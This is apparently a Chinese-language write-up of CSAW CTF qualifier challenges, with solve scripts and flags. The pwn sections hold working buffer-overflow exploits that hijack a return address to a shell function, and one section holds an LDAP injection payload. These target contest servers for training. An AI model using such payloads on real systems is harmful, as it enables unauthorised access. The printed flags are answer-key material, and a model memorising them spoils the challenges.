第一次做这样的新题目 做不出几道感觉无从下手 记录一下补题情况
- 1.Twitch Plays Test Flag
思路:签到
answer:flag{typ3_y3s_to_c0nt1nue}
- 2.bin_t
思路:AVL树的插入 队友发现可以先去重再插入(用C++,写的多一点)
下面给了python的
调用别人写好的函数
https://github.com/pgrafov/python-avl-tree/blob/master/pyavltree.py
code:
from pwn import *
from pyavltree import AVLTree
r = remote("misc.chal.csaw.io", 9001) # 连接服务器的命令
r.recvline() #接受一行废话
numbers = [int(x) for x in r.recvline().split(",")] #将接受到的数组除去逗号后转成list
r.recvline() # 接受一行废话
tree = AVLTree(numbers) #调用函数构造树
r.sendline(",".join([str(x) for x in tree.preorder(tree.rootNode)]))
print r.recvall()
answer:flag{HOW_WAS_IT_NAVIGATING_THAT_FOREST?}
- 3. babycrypto
思路:加密算法: 先解密base64 再异或解密
从 single yeet yeeted with single yeet == 0 x^x=0
code:
from base64 import b64decode
ss = "s5qQkd+WjN+e34+NkJiNnpKSmo3fiJeQ356Mj5aNmozfi5DfnI2anoua34+NkJiNnpKM34uXnovfl5qTj9+PmpCPk5rfm5Dfk5qMjNHft5rfiJ6Ri4zfi5Dfj4qL356Ki5CSnouWkJHfmZaNjIvT356Rm9+MnJ6Tnp2Wk5aLht+ek5CRmIyWm5rR37ea35uNmp6SjN+Qmd+e34iQjZOb34iXmo2a34uXmt+akZuTmoyM356Rm9+Ll5rflpGZlpGWi5rfnZqckJKa342anpOWi5aajN+LkN+SnpGUlpGb09+ekZvfiJeajZrfi5ea34uNiprfiZ6TiprfkJnfk5aZmt+WjN+PjZqMmo2JmpvRmZOemISblpmZlprSl5qTk5KekdKYz4+XzI2FjZ6wps61npPLnLeeuabGrKithr6uyZ63gg=="
ciphertext = b64decode(ss)
for i in range(256):
s = ""
for j in range(len(ciphertext)):
s += chr(ord(ciphertext[j])^i)
if "flag{" in s:
print i
print s
answer:flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}
- 4. algreba
思路:服务器返回一个等式 让你求出X 刚开始以为只有加减乘除 后来发现自己还是太年轻
code:
from pwn import *
from re import *
r = remote("misc.chal.csaw.io",9002)
r.recvuntil("***")
print r.recvline()
while True:
toSolve = r.recvline()
print toSolve
print r.recvuntil("What does X equal?: ")
temp = toSolve.replace("=","-(")+")"
c=eval(temp,{"X":1j})
ans = 0
if c.imag != 0:
ans = -c.real/c.imag
r.sendline(str(ans))
print r.recvline()
answer:flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}
- 5. simple_recovery
思路:windows 下利用findstr 命令查找文本串
先解压
cmd :
findstr "flag" disk.img
another solution
ubuntu 下
$ 7z x disk.img0.7z
$ 7z x disk.img1.7z
$ rg -a -e "flag\{"
7z 解压然后 rg~
rg下载
参考https://github.com/BurntSushi/ripgrep 超快!查找大文件
$ curl -LO https://github.com/BurntSushi/ripgrep/releases/download/0.10.0/ripgrep_0.10.0_amd64.deb
$ sudo dpkg -i ripgrep_0.10.0_amd64.deb
code:
None
answer:flag{dis_week_evry_week_dnt_be_securty_weak}
- 6. bigboy
思路: 静态分析 拖到ida里看main函数
动态跟踪
gdb -q ./boi
pdisas main
b* 0x00000000004006a8
cmp xx with xx
r
x/40wx $rsp
我们发现偏移为20 所以只要把前面20字节用垃圾值填充 后面的用正确的答案填充即可
code:
from pwn import *
r = remote("pwn.chal.csaw.io","9000")
r.recvuntil("***")
print r.recvline()
r.recvline()
addr = "\xee\xba\xf3\xca"
payload = "A"*20+addr
r.sendline(payload)
print r.recvline()
r.interactive()
or 暴力填充6次
python2 -c 'from pwn import *; print p32(0xCAF3BAEE) * 6; print "cat flag.txt"'| nc pwn.chal.c saw.io 9000
answer:flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}
- 7. A Tour of x86 - Part 1
思路: 下载文件 阅读 搜索problem查看所有问题位置 然后
code:
None
xor dh, dh ; <- Question 1
0x00
mov dx, 0xffff ; Hexadecimal
not dx
0x0000
mov gs, dx ; to use them to help me clear <- Question 2
问题让你输出1个字节 so 0x00
mov cx, 0 ; line 107
mov sp, cx ; line 149
mov si, sp ; Source Index <- Question 3
两个字节 0x0000
mov al, 't'
mov ah, 0x0e ; <- question 4
两个字节ax:0x0e74
mov al, [si] ;
mov ah, 0x0e ; <- Question 5!
两个字节 0x0e61 将字符串第一个字节放到了低位
code:
vim 1.txt
写入
0x00
0x00
0x0000
0x0e74
0x0e61
nc rev.chal.csaw.io 9003 < 1.txt
answer:flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}
- 8. Get It?
思路: 下载文件 gdb调试 + IDA静态分析
推荐gdb-peda 这里不赘述
gdb
file get_it
加载文件
info functions
显示所有函数
发现有个函数名字为give_shell
disassem give_shell
看一下函数 显然我们通过这个可以拿到shell
因此只要利用格式化字符串漏洞将栈的返回地址覆盖为give_shell的地址 那么我们的任务就完成了
接下来需要判断栈的返回地址在哪
在main的汇编代码中
0x00000000004005e0 <+25>: lea rax,[rbp-0x20]
0x00000000004005e4 <+29>: mov rdi,rax
0x00000000004005e7 <+32>: mov eax,0x0
0x00000000004005ec <+37>: call 0x4004a0 gets@plt
我们发现gets接受了字符串之后写入到rbp-0x20开始的地址中
rbp就是栈的base point(基地址)啦
栈的布局
00000000: 0x4141414141414141 AAAAAAAA // 0 需要8
00000008: 0x4141414141414141 AAAAAAAA // 8 需要8
00000010: 0x4141414141414141 AAAAAAAA // 16 需要8
00000018: 0x4141414141414141 AAAAAAAA // 24 需要8
00000020: 0x4f4c4453544b4652 OLDSTKFR // 32 <- RBP 这里也要填满 需要8
00000028: 0x52455455524e4144 RETURNAD // 40 填成give_shell的地址
因此前面40个垃圾值填充 后面的填成give_shell的地址就好啦
code:
from pwn import *
r = remote("pwn.chal.csaw.io",9001)
print r.recvline()
shell_addr = 0x00000000004005B6
r.sendline('A'*40+p64(shell_addr))
print r.recvline()
r.interactive()
answer:flag{y0u_deF_get_itls}
- 9. ldab
思路: google + github
网站点进去发现就是一堆列表 搜索题目名字 发现有idab injection 直接搜
相关的payload 一个个尝试
code:
None
*)(uid=*))(|(uid=*
answer:flag{ld4p_inj3ction_i5_a_th1ng}
- 10. Short Circuit
思路: 普通电学
比赛的时候没做出来 其实很简单的哇 不要一股脑写01再解密 边解密边写!
电线连到主干上的状态写一下即可
code:
None
answer:flag{owmyhand}